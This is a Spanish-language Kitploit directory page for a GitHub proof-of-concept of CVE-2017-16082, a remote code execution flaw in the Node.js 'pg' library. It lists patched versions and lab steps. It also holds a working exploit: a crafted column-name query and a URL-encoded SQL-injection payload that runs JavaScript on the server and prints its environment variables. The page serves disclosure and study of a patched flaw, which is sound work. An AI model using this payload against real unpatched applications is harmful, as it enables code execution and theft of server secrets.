Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2017-16082 — NodeJS + Postgres (Ejecución remota de código) 🛰 | Kitploit
Herramientas/GitHubGitHub/nulldreams/cve-2017-16082
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubnulldreams/cve-2017-16082

CVE-2017-16082

NodeJS + Postgres (Ejecución remota de código) 🛰

Ver Repositorio
5hace 7 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2017-16082

Descripción general

Las versiones afectadas de pg contienen una vulnerabilidad de ejecución remota de código que ocurre cuando la base de datos remota o la consulta especifica un nombre de columna manipulado.

Existen dos escenarios específicos en los que es probable que una aplicación sea vulnerable:

  1. La aplicación ejecuta SQL inseguro proporcionado por el usuario que contiene nombres de columna maliciosos.
  2. La aplicación se conecta a una base de datos no confiable y ejecuta una consulta que devuelve resultados con un nombre de columna malicioso.

Prueba de concepto

root@kitploit:~
const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Solución

  • Versión 2.x.x: Actualizar a la versión 2.11.2 o posterior.
  • Versión 3.x.x: Actualizar a la versión 3.6.4 o posterior.
  • Versión 4.x.x: Actualizar a la versión 4.5.7 o posterior.
  • Versión 5.x.x: Actualizar a la versión 5.2.1 o posterior.
  • Versión 6.x.x: Actualizar a la versión 6.4.2 o posterior. (Tenga en cuenta que las versiones 6.1.6, 6.2.5 y 6.3.3 también están parcheadas).
  • Versión 7.x.x: Actualizar a la versión 7.1.2 o posterior. (Tenga en cuenta que la versión 7.0.2 también está parcheada).

Prueba local 💣

git clone https://github.com/nulldreams/CVE-2017-16082.git

cd CVE-2017-16082

npm i && node server.js

Enviar una solicitud a localhost:5000/api/v1/users?id=1 Resultado

root@kitploit:~
[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    }
]

Ahora, enviar una solicitud usando un payload como este 1;SELECT 1 AS "\']=0;console.log(process.env)//" y codificar en codificador de URL

URL final: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22

root@kitploit:~
[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    },
    {
        "\\": 0
    }
]

Revisar la terminal del servidor.

Descargar herramienta